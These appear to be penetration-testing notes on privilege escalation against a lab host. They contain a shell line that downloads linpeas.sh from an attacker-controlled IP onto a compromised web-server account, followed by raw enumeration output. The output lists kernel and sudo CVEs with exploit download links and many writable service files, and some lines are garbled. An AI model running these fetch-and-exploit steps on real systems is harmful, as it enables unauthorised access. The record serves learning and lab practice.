PEAS


Conducting an automated enumeration after performing a manual enumeration

www-data@vmdak:/var/tmp$ wget -q http://192.168.45.157/linpeas.sh ; chmod 755 ./linpeas.sh

Delivery complete

Executing PEAS

CVEs


╔══════════╣ Executing Linux Exploit Suggester
 https://github.com/mzet-/linux-exploit-suggester
write error: Broken pipe
[+] [CVE-2022-2586] nft_object UAF
 
   Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
   Exposure: less probable
   Tags: ubuntu=(20.04){kernel:5.12.13}
   Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
 
[+] [CVE-2021-4034] PwnKit
 
   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: less probable
   Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
 
[+] [CVE-2021-3156] sudo Baron Samedit
 
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
 
[+] [CVE-2021-3156] sudo Baron Samedit 2
 
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
 
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
 
-22555/writeup.html/google.github.io/security-research/pocs/linux/cve-2021
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded
 
[+] [CVE-2017-5618] setuid screen v4.5.0 LPE
 
   Details: https://seclists.org/oss-sec/2017/q1/184
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154

PATH


False-Positive

Cron


False-Positive

Network


Installed Programs


Compilers


Apache


FTP


SSH


ld.so


False-positive

Profile


False-positive

init, init.d, systemd, and rc.d


╔══════════╣ Permissions in init, init.d, systemd, and rc.d
4m╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#init-initd-systemd-and-rcd
You have write privileges over /etc/init/mysql.conf
You have write privileges over /etc/init.d/grub-common
/etc/init.d/cryptdisks
/etc/init.d/ssh
/etc/init.d/apache-htcacheclean
/etc/init.d/keyboard-setup.sh
/etc/init.d/ufw
/etc/init.d/apport
/etc/init.d/plymouth-log
/etc/init.d/iscsid
/etc/init.d/open-vm-tools
/etc/init.d/apache2
/etc/init.d/rsync
/etc/init.d/procps
/etc/init.d/x11-common
/etc/init.d/cryptdisks-early
/etc/init.d/screen-cleanup
/etc/init.d/dbus
/etc/init.d/apparmor
/etc/init.d/plymouth
/etc/init.d/kmod
/etc/init.d/unattended-upgrades
/etc/init.d/cron
/etc/init.d/vsftpd
/etc/init.d/console-setup.sh
/etc/init.d/open-iscsi
/etc/init.d/uuidd
/etc/init.d/sysstat
/etc/init.d/mysql
You have write privileges over /etc/systemd/networkd.conf
/etc/systemd/resolved.conf
/etc/systemd/sleep.conf
/etc/systemd/timesyncd.conf
/etc/systemd/journald.conf
/etc/systemd/user.conf
03m/etc/systemd/system.conf
/etc/systemd/pstore.conf
/etc/systemd/system/jenkins.service
/etc/systemd/system/sshd-keygen@.service.d/disable-sshd-keygen-if-cloud-init-active.conf
/etc/systemd/logind.conf
You have write privileges over /lib/systemd/systemd-pcrextend
/lib/systemd/catalog/systemd.hu.catalog
/lib/systemd/catalog/systemd.hr.catalog
/lib/systemd/catalog/systemd.zh_TW.catalog
/lib/systemd/catalog/systemd.bg.catalog
/lib/systemd/catalog/systemd.zh_CN.catalog
/lib/systemd/catalog/systemd.pt_BR.catalog
/lib/systemd/catalog/systemd.sr.catalog
/lib/systemd/catalog/systemd.fr.catalog
/lib/systemd/catalog/systemd.catalog
/lib/systemd/catalog/systemd.ko.catalog
/lib/systemd/catalog/systemd.de.catalog
/lib/systemd/catalog/systemd.pl.catalog
/lib/systemd/catalog/systemd.ru.catalog
/lib/systemd/catalog/systemd.be@latin.catalog
/lib/systemd/catalog/systemd.it.catalog
/lib/systemd/catalog/systemd.be.catalog
/lib/systemd/catalog/systemd.da.catalog
/lib/systemd/user-preset/90-systemd.preset
/lib/systemd/systemd-networkd
/lib/systemd/systemd-storagetm
/lib/systemd/systemd-makefs
/lib/systemd/systemd-pstore
/lib/systemd/systemd-update-done
/lib/systemd/repart/definitions/sysext.repart.d/10-root.conf
/lib/systemd/repart/definitions/sysext.repart.d/30-root-verity-sig.conf
/lib/systemd/repart/definitions/sysext.repart.d/20-root-verity.conf
/lib/systemd/repart/definitions/confext.repart.d/10-root.conf
/lib/systemd/repart/definitions/confext.repart.d/30-root-verity-sig.conf
/lib/systemd/repart/definitions/confext.repart.d/20-root-verity.conf
/lib/systemd/repart/definitions/portable.repart.d/10-root.conf
/lib/systemd/repart/definitions/portable.repart.d/30-root-verity-sig.conf
b/systemd/repart/definitions/portable.repart.d/20-root-verity.conf
/lib/systemd/systemd-executor
/lib/systemd/systemd-volatile-root
/lib/systemd/systemd-sysv-install
/lib/systemd/systemd-veritysetup
/lib/systemd/systemd-timesyncd
/lib/systemd/systemd-hibernate-resume
/lib/systemd/ntp-units.d/80-systemd-timesync.list
/lib/systemd/system-environment-generators/snapd-env-generator
/lib/systemd/systemd-hostnamed
/lib/systemd/network/80-container-vb.network
/lib/systemd/network/89-ethernet.network.example
/lib/systemd/network/80-container-vz.network
/lib/systemd/network/80-vm-vt.network
/lib/systemd/network/80-wifi-ap.network.example
/lib/systemd/network/80-wifi-station.network.example
/lib/systemd/network/80-wifi-adhoc.network
/lib/systemd/network/80-6rd-tunnel.network
/lib/systemd/network/73-usb-net-by-mac.link
/lib/systemd/network/99-default.link
/lib/systemd/network/80-container-host0.network
/lib/systemd/network/80-container-ve.network
/lib/systemd/network/80-auto-link-local.network.example
/lib/systemd/systemd-localed
/lib/systemd/systemd-journald
/lib/systemd/systemd-logind
/lib/systemd/systemd-user-sessions
/lib/systemd/systemd-boot-check-no-failures
/lib/systemd/system-generators/systemd-gpt-auto-generator
/lib/systemd/system-generators/systemd-system-update-generator
/lib/systemd/system-generators/systemd-cryptsetup-generator
/lib/systemd/system-generators/systemd-veritysetup-generator
/lib/systemd/system-generators/friendly-recovery
erators/systemd-sysv-generator
/lib/systemd/system-generators/cloud-init-generator
/lib/systemd/system-generators/sshd-socket-generator
/lib/systemd/system-generators/systemd-getty-generator
/lib/systemd/system-generators/systemd-fstab-generator
/lib/systemd/system-generators/systemd-run-generator
/lib/systemd/system-generators/snapd-generator
/lib/systemd/system-generators/systemd-debug-generator
/lib/systemd/system-generators/systemd-rc-local-generator
/lib/systemd/system-generators/systemd-hibernate-resume-generator
/lib/systemd/system-generators/systemd-integritysetup-generator
/lib/systemd/systemd-reply-password
/lib/systemd/system-preset/90-systemd.preset
/lib/systemd/systemd-sleep
/lib/systemd/systemd-integritysetup
/lib/systemd/systemd
/lib/systemd/systemd-xdg-autostart-condition
/lib/systemd/systemd-battery-check
/lib/systemd/systemd-tpm2-setup
/lib/systemd/systemd-shutdown
/lib/systemd/systemd-initctl
/lib/systemd/systemd-backlight
/lib/systemd/resolv.conf
/lib/systemd/systemd-time-wait-sync
/lib/systemd/systemd-quotacheck
/lib/systemd/systemd-cgroups-agent
/lib/systemd/systemd-network-generator
/lib/systemd/systemd-user-runtime-dir
/lib/systemd/systemd-growfs
/lib/systemd/lxd-agent-setup
/lib/systemd/systemd-bsod
/lib/systemd/systemd-binfmt
/lib/systemd/systemd-remount-fs
/lib/systemd/systemd-fsck
/lib/systemd/user/shutdown.target
/lib/systemd/user/exit.target
tlib/systemd/user/graphical-session.targe
/lib/systemd/user/gpg-agent-ssh.socket
/lib/systemd/user/ssh-agent.service
/lib/systemd/user/session-migration.service
/lib/systemd/user/systemd-tmpfiles-clean.service
/lib/systemd/user/keyboxd.service
/lib/systemd/user/xdg-desktop-autostart.target
/lib/systemd/user/background.slice
/lib/systemd/user/basic.target
/lib/systemd/user/systemd-tmpfiles-clean.timer
/lib/systemd/user/app.slice
/lib/systemd/user/graphical-session-pre.target
/lib/systemd/user/launchpadlib-cache-clean.timer
/lib/systemd/user/paths.target
/lib/systemd/user/dbus.socket
/lib/systemd/user/sound.target
/lib/systemd/user/gpg-agent-extra.socket
/lib/systemd/user/keyboxd.socket
/lib/systemd/user/dirmngr.socket
/lib/systemd/user/bluetooth.target
/lib/systemd/user/sockets.target
/lib/systemd/user/systemd-exit.service
/lib/systemd/user/systemd-tmpfiles-setup.service
/lib/systemd/user/session.slice
/lib/systemd/user/pk-debconf-helper.service
/lib/systemd/user/snapd.session-agent.service
/lib/systemd/user/dconf.service
/lib/systemd/user/launchpadlib-cache-clean.service
/lib/systemd/user/snapd.session-agent.socket
/lib/systemd/user/printer.target
/lib/systemd/user/dbus.service
/lib/systemd/user/smartcard.target
/lib/systemd/user/pk-debconf-helper.socket
/lib/systemd/user/gpg-agent.socket
/lib/systemd/user/gpg-agent.service
/lib/systemd/user/default.target
/lib/systemd/user/gpg-agent-browser.socket
 
/lib/systemd/user/at-spi-dbus-bus.service
/lib/systemd/user/dirmngr.service
/lib/systemd/systemd-socket-proxyd
/lib/systemd/systemd-sysupdate
/lib/systemd/systemd-sulogin-shell
emd/systemd-pcrlock
/lib/systemd/systemd-networkd-wait-online
/lib/systemd/systemd-random-seed
/lib/systemd/systemd-update-utmp
/lib/systemd/journald.conf.d/syslog.conf
/lib/systemd/systemd-rfkill
/lib/systemd/logind.conf.d/unattended-upgrades-logind-maxdelay.conf
/lib/systemd/systemd-measure
/lib/systemd/systemd-timedated
/lib/systemd/systemd-fsckd
/lib/systemd/user-environment-generators/30-systemd-environment-d-generator
/lib/systemd/user-generators/systemd-xdg-autostart-generator
/lib/systemd/systemd-modules-load
/lib/systemd/system/apt-daily-upgrade.service
/lib/systemd/system/systemd-pcrmachine.service
/lib/systemd/system/integritysetup-pre.target
/lib/systemd/system/lxd-installer@.service
/lib/systemd/system/hybrid-sleep.target
/lib/systemd/system/friendly-recovery.target
/lib/systemd/system/sys-kernel-debug.mount
/lib/systemd/system/systemd-pcrlock-firmware-code.service
/lib/systemd/system/user-.slice.d/10-defaults.conf
/lib/systemd/system/bolt.service
/lib/systemd/system/shutdown.target
/lib/systemd/system/graphical.target
/lib/systemd/system/soft-reboot.target
/lib/systemd/system/e2scrub_all.timer
/lib/systemd/system/apport-autoreport.timer
/lib/systemd/system/snapd.system-shutdown.service
/lib/systemd/system/systemd-hybrid-sleep.service
/lib/systemd/system/systemd-pcrlock-secureboot-authority.service
/lib/systemd/system/systemd-repart.service
/lib/systemd/system/apparmor.service
/lib/systemd/system/lvm2-monitor.service
stem/systemd-backlight@.service
/lib/systemd/system/exit.target
/lib/systemd/system/systemd-confext.service
/lib/systemd/system/remote-fs-pre.target
/lib/systemd/system/systemd-networkd-wait-online.service
/lib/systemd/system/plymouth-switch-root-initramfs.service
/lib/systemd/system/systemd-journald-dev-log.socket
/lib/systemd/system/proc-sys-fs-binfmt_misc.automount
/lib/systemd/system/cryptsetup.target
/lib/systemd/system/kexec.target
/lib/systemd/system/apache-htcacheclean.service
/lib/systemd/system/vsftpd.service
0mib/systemd/system/systemd-networkd.service
/lib/systemd/system/fwupd.service
/lib/systemd/system/lvm2-lvmpolld.service
/lib/systemd/system/sysinit.target
/lib/systemd/system/dev-hugepages.mount
/lib/systemd/system/iscsid.socket
/lib/systemd/system/systemd-initctl.service
/lib/systemd/system/plymouth-kexec.service
/lib/systemd/system/dm-event.service
/lib/systemd/system/systemd-tmpfiles-clean.service
/lib/systemd/system/update-notifier-download.service
/lib/systemd/system/mdcheck_start.service
/lib/systemd/system/systemd-bsod.service
/lib/systemd/system/systemd-binfmt.service
/lib/systemd/system/networkd-dispatcher.service
/lib/systemd/system/getty@.service
/lib/systemd/system/systemd-suspend-then-hibernate.service
/lib/systemd/system/ua-timer.timer
 
/lib/systemd/system/systemd-sysupdate.timer
/lib/systemd/system/uuidd.service
/lib/systemd/system/uuidd.socket
/lib/systemd/system/systemd-ask-password-console.path
/lib/systemd/system/systemd-networkd.socket
/lib/systemd/system/getty-static.service
/lib/systemd/system/systemd-random-seed.service
/lib/systemd/system/rescue.service
/lib/systemd/system/logrotate.service
/lib/systemd/system/user@0.service.d/10-login-barrier.conf
/lib/systemd/system/systemd-volatile-root.service
/lib/systemd/system/initrd.target
/lib/systemd/system/e2scrub_fail@.service
/lib/systemd/system/mdcheck_start.timer
/lib/systemd/system/mysql.service
/lib/systemd/system/phpsessionclean.timer
/lib/systemd/system/emergency.target
/lib/systemd/system/systemd-suspend.service
/lib/systemd/system/mdcheck_continue.timer
/lib/systemd/system/systemd-journal-catalog-update.service
/lib/systemd/system/local-fs-pre.target
/lib/systemd/system/systemd-ask-password-console.service
/lib/systemd/system/sysstat.service
/lib/systemd/system/console-setup.service
/lib/systemd/system/packagekit.service
/lib/systemd/system/initrd-usr-fs.target
/lib/systemd/system/rsync.service
/lib/systemd/system/apt-news.service
/lib/systemd/system/systemd-tpm2-setup.service
/lib/systemd/system/systemd-journald@.socket
/lib/systemd/system/boot-complete.target
/lib/systemd/system/suspend.target
/lib/systemd/system/man-db.timer
/lib/systemd/system/sleep.target
erviceystemd/system/plymouth-read-write.s
/lib/systemd/system/network-online.target
/lib/systemd/system/grub-common.service
/lib/systemd/system/local-fs.target
/lib/systemd/system/snapd.snap-repair.service
/lib/systemd/system/multi-user.target
/lib/systemd/system/esm-cache.service
/lib/systemd/system/apt-daily.service
/lib/systemd/system/initrd-udevadm-cleanup-db.service
/lib/systemd/system/remote-veritysetup.target
/lib/systemd/system/systemd-udevd.service
/lib/systemd/system/systemd-journal-flush.service
/lib/systemd/system/systemd-sysupdate-reboot.timer
/lib/systemd/system/systemd-growfs-root.service
/lib/systemd/system/dpkg-db-backup.service
/lib/systemd/system/systemd-pstore.service
/lib/systemd/system/systemd-journald.service
/lib/systemd/system/sysstat-collect.service
/lib/systemd/system/cloud-init.target
/lib/systemd/system/friendly-recovery.service
/lib/systemd/system/apport.service
/lib/systemd/system/cryptsetup-pre.target
/lib/systemd/system/systemd-update-utmp.service
/lib/systemd/system/apache-htcacheclean@.service
/lib/systemd/system/mdadm-last-resort@.timer
/lib/systemd/system/cloud-config.service
/lib/systemd/system/sys-kernel-config.mount
/lib/systemd/system/usbmuxd.service
/lib/systemd/system/mdadm-grow-continue@.service
/lib/systemd/system/halt.target
/lib/systemd/system/basic.target
/lib/systemd/system/debug-shell.service
/lib/systemd/system/ufw.service
/lib/systemd/system/network-pre.target
/lib/systemd/system/ua-timer.service
stem/packagekit-offline-update.service
/lib/systemd/system/e2scrub@.service
/lib/systemd/system/systemd-update-done.service
/lib/systemd/system/systemd-modules-load.service
/lib/systemd/system/systemd-tmpfiles-clean.timer
/lib/systemd/system/apt-daily.timer
/lib/systemd/system/mdcheck_continue.service
/lib/systemd/system/rescue-ssh.target
emd/system/plymouth-reboot.service
/lib/systemd/system/system-update-pre.target
/lib/systemd/system/umount.target
/lib/systemd/system/systemd-fsck@.service
/lib/systemd/system/systemd-poweroff.service
/lib/systemd/system/grub-initrd-fallback.service
/lib/systemd/system/system-systemd\x2dcryptsetup.slice
/lib/systemd/system/thermald.service
/lib/systemd/system/fwupd-refresh.timer
/lib/systemd/system/container-getty@.service
/lib/systemd/system/systemd-sysctl.service
/lib/systemd/system/systemd-networkd-wait-online@.service
/lib/systemd/system/rescue.target
/lib/systemd/system/systemd-pcrlock-secureboot-policy.service
/lib/systemd/system/dmesg.service
/lib/systemd/system/paths.target
/lib/systemd/system/rc-local.service
/lib/systemd/system/systemd-ask-password-wall.service
/lib/systemd/system/motd-news.service
/lib/systemd/system/systemd-udevd.service.d/syscall-architecture.conf
/lib/systemd/system/mdmonitor-oneshot.service
/lib/systemd/system/gpu-manager.service
/lib/systemd/system/cloud-init-hotplugd.service
/lib/systemd/system/systemd-machine-id-commit.service
/lib/systemd/system/syslog.socket
/lib/systemd/system/dbus.socket
/lib/systemd/system/systemd-hwdb-update.service
/lib/systemd/system/time-set.target
/lib/systemd/system/snapd.core-fixup.service
/lib/systemd/system/poweroff.target
/lib/systemd/system/sound.target
/lib/systemd/system/reboot.target
/lib/systemd/system/rc-local.service.d/debian.conf
/lib/systemd/system/modprobe@.service
/systemd/system/ldconfig.service
/lib/systemd/system/lvm2-lvmpolld.socket
/lib/systemd/system/user.slice
/lib/systemd/system/systemd-pcrextend@.service
/lib/systemd/system/snapd.socket
/lib/systemd/system/user-runtime-dir@.service
/lib/systemd/system/mdadm-last-resort@.service
/lib/systemd/system/nftables.service
/lib/systemd/system/e2scrub_reap.service
/lib/systemd/system/fstrim.timer
/lib/systemd/system/nss-user-lookup.target
/lib/systemd/system/cloud-final.service
/lib/systemd/system/storage-target-mode.target
/lib/systemd/system/ssh.service
/lib/systemd/system/blockdev@.target
/lib/systemd/system/upower.service
/lib/systemd/system/swap.target
/lib/systemd/system/systemd-user-sessions.service
/lib/systemd/system/nss-lookup.target
/lib/systemd/system/console-getty.service
/lib/systemd/system/initrd-root-device.target
/lib/systemd/system/snapd.mounts-pre.target
/lib/systemd/system/bluetooth.target
/lib/systemd/system/systemd-journald@.service
/lib/systemd/system/mdmonitor-oneshot.timer
/lib/systemd/system/veritysetup-pre.target
/lib/systemd/system/remote-cryptsetup.target
/lib/systemd/system/apache2@.service
/lib/systemd/system/pam_namespace.service
/lib/systemd/system/system-systemd\x2dveritysetup.slice
/lib/systemd/system/systemd-pcrphase-sysinit.service
/lib/systemd/system/sockets.target
/lib/systemd/system/systemd-exit.service
/lib/systemd/system/remote-fs.target
/lib/systemd/system/hibernate.target
reboot-db.serviceem/secu
/lib/systemd/system/usb-gadget.target
/lib/systemd/system/systemd-hibernate-resume.service
/lib/systemd/system/systemd-time-wait-sync.service
/lib/systemd/system/systemd-network-generator.service
/lib/systemd/system/slices.target
/lib/systemd/system/systemd-storagetm.service
/lib/systemd/system/systemd-udevd-kernel.socket
/lib/systemd/system/machine.slice
/lib/systemd/system/initrd-root-fs.target
/lib/systemd/system/systemd-tmpfiles-setup.service
/lib/systemd/system/cloud-config.target
/lib/systemd/system/tpm-udev.service
/lib/systemd/system/systemd-sysupdate.service
/lib/systemd/system/dpkg-db-backup.timer
/lib/systemd/system/iscsid.service
/lib/systemd/system/usb_modeswitch@.service
/lib/systemd/system/update-notifier-motd.service
/lib/systemd/system/getty-pre.target
/lib/systemd/system/snapd.service
/lib/systemd/system/snapd.snap-repair.timer
/lib/systemd/system/systemd-hibernate.service
/lib/systemd/system/fstrim.service
/lib/systemd/system/unattended-upgrades.service
/lib/systemd/system/snapd.autoimport.service
/lib/systemd/system/systemd-pcrlock-machine-id.service
/lib/systemd/system/e2scrub_all.service
/lib/systemd/system/mdmon@.service
/lib/systemd/system/systemd-resolved.service
/lib/systemd/system/sys-kernel-tracing.mount
/lib/systemd/system/xfs_scrub_fail@.service
/lib/systemd/system/initrd-cleanup.service
/lib/systemd/system/plymouth-start.service
/lib/systemd/system/cloud-init.service
getb/systemd/system/sigpwr.tar
/lib/systemd/system/sys-fs-fuse-connections.mount
/lib/systemd/system/dev-mqueue.mount
/lib/systemd/system/kmod-static-nodes.service
/lib/systemd/system/network.target
/lib/systemd/system/systemd-sysext.socket
/lib/systemd/system/apport-coredump-hook@.service
/lib/systemd/system/ubuntu-advantage.service
/lib/systemd/system/rpcbind.target
/lib/systemd/system/systemd-firstboot.service
/lib/systemd/system/systemd-pcrphase.service
/lib/systemd/system/systemd-pcrphase-initrd.service
/lib/systemd/system/phpsessionclean.service
/lib/systemd/system/systemd-logind.service.d/dbus.conf
/lib/systemd/system/user@.service
/lib/systemd/system/xfs_scrub_all.service
/lib/systemd/system/suspend-then-hibernate.target
/lib/systemd/system/cloud-init-local.service
/lib/systemd/system/keyboard-setup.service
/lib/systemd/system/lxd-agent.service
/lib/systemd/system/mdmonitor.service
/lib/systemd/system/systemd-quotacheck.service
/lib/systemd/system/veritysetup.target
/lib/systemd/system/systemd-rfkill.socket
/lib/systemd/system/motd-news.timer
/lib/systemd/system/initrd-parse-etc.service
/lib/systemd/system/serial-getty@.service
/lib/systemd/system/sysstat-summary.service
/lib/systemd/system/update-notifier-motd.timer
/lib/systemd/system/systemd-tpm2-setup-early.service
/lib/systemd/system/plymouth-quit.service
/lib/systemd/system/open-iscsi.service
/lib/systemd/system/snapd.mounts.target
/lib/systemd/system/systemd-fsck-root.service
-binfmt_misc.mountm/proc-sys-fs
/lib/systemd/system/printer.target
/lib/systemd/system/systemd-udev-settle.service
/lib/systemd/system/dbus.service
/lib/systemd/system/snapd.failure.service
/lib/systemd/system/sysstat-collect.timer
/lib/systemd/system/systemd-udevd-control.socket
/lib/systemd/system/systemd-logind.service
/lib/systemd/system/ua-reboot-cmds.service
/lib/systemd/system/initrd-switch-root.service
/lib/systemd/system/smartcard.target
/lib/systemd/system/systemd-boot-check-no-failures.service
/lib/systemd/system/systemd-fsckd.service
/lib/systemd/system/xfs_scrub@.service
/lib/systemd/system/systemd-reboot.service
/lib/systemd/system/time-sync.target
/lib/systemd/system/apport-forward.socket
/lib/systemd/system/ssl-cert.service
/lib/systemd/system/systemd-update-utmp-runlevel.service
/lib/systemd/system/vgauth.service
/lib/systemd/system/systemd-sysext@.service
/lib/systemd/system/sysstat-summary.timer
/lib/systemd/system/udisks2.service
/lib/systemd/system/apport-forward@.service
/lib/systemd/system/integritysetup.target
/lib/systemd/system/systemd-kexec.service
/lib/systemd/system/plymouth-switch-root.service
/lib/systemd/system/systemd-ask-password-plymouth.path
/lib/systemd/system/systemd-localed.service.d/x11-keyboard.conf
/lib/systemd/system/plymouth-halt.service
/lib/systemd/system/apport-autoreport.service
/lib/systemd/system/systemd-journald.service.d/nice.conf
/lib/systemd/system/pollinate.service
/lib/systemd/system/finalrd.service
b/systemd/system/systemd-pcrfs-root.service
/lib/systemd/system/final.target
/lib/systemd/system/lxd-installer.socket
/lib/systemd/system/blk-availability.service
/lib/systemd/system/rsyslog.service
/lib/systemd/system/plymouth-quit-wait.service
/lib/systemd/system/apt-daily-upgrade.timer
/lib/systemd/system/snapd.apparmor.service
/lib/systemd/system/setvtrgb.service
/lib/systemd/system/xfs_scrub_all.timer
/lib/systemd/system/initrd-switch-root.target
/lib/systemd/system/emergency.service
/lib/systemd/system/systemd-fsckd.socket
/lib/systemd/system/systemd-remount-fs.service
/lib/systemd/system/man-db.service
/lib/systemd/system/multipathd.socket
/lib/systemd/system/quotaon.service
/lib/systemd/system/dm-event.socket
/lib/systemd/system/systemd-journald-varlink@.socket
/lib/systemd/system/logrotate.timer
/lib/systemd/system/ModemManager.service
/lib/systemd/system/systemd-initctl.socket
/lib/systemd/system/getty.target
/lib/systemd/system/system-update-cleanup.service
/lib/systemd/system/systemd-pcrlock-make-policy.service
/lib/systemd/system/fwupd-offline-update.service
/lib/systemd/system/systemd-localed.service
/lib/systemd/system/open-vm-tools.service
/lib/systemd/system/systemd-sysext.service
/lib/systemd/system/cron.service
/lib/systemd/system/systemd-pcrextend.socket
/lib/systemd/system/apache2.service
/lib/systemd/system/first-boot-complete.target
/lib/systemd/system/systemd-growfs@.service
[0mb/systemd/system/cloud-init-hotplugd.socket
/lib/systemd/system/systemd-udev-trigger.service
/lib/systemd/system/apport-autoreport.path
/lib/systemd/system/snapd.seeded.service
/lib/systemd/system/systemd-pcrlock-firmware-config.service
/lib/systemd/system/multipathd.service
/lib/systemd/system/systemd-journald.socket
/lib/systemd/system/systemd-sysusers.service
/lib/systemd/system/systemd-hostnamed.service
/lib/systemd/system/fwupd-refresh.service
/lib/systemd/system/systemd-tmpfiles-setup-dev.service
/lib/systemd/system/systemd-timesyncd.service
/lib/systemd/system/ssh.socket
/lib/systemd/system/snapd.recovery-chooser-trigger.service
/lib/systemd/system/tpm-udev.path
/lib/systemd/system/systemd-timedated.service
/lib/systemd/system/systemd-pcrfs@.service
/lib/systemd/system/systemd-halt.service
/lib/systemd/system/systemd-sysupdate-reboot.service
/lib/systemd/system/timers.target
/lib/systemd/system/systemd-battery-check.service
/lib/systemd/system/systemd-tmpfiles-setup-dev-early.service
/lib/systemd/system/initrd-fs.target
/lib/systemd/system/systemd-ask-password-wall.path
/lib/systemd/system/systemd-ask-password-plymouth.service
/lib/systemd/system/user@.service.d/timeout.conf
/lib/systemd/system/user@.service.d/10-login-barrier.conf
/lib/systemd/system/polkit.service
/lib/systemd/system/systemd-coredump@.service.d/apport-coredump-hook.conf
/lib/systemd/system/update-notifier-download.timer
/lib/systemd/system/factory-reset.target
/lib/systemd/system/systemd-pcrlock-file-system.service
te.targetemd/system/system-upda
/lib/systemd/system/systemd-soft-reboot.service
/lib/systemd/system/systemd-journald-audit.socket
/lib/systemd/system/plymouth-poweroff.service
/lib/systemd/system-shutdown/fwupd.shutdown
/lib/systemd/system-shutdown/mdadm.shutdown
/lib/systemd/systemd-sysctl
/lib/systemd/system-sleep/hdparm
/lib/systemd/system-sleep/sysstat.sleep
/lib/systemd/system-sleep/unattended-upgrades
/lib/systemd/systemd-resolved

Write access to everything False-positive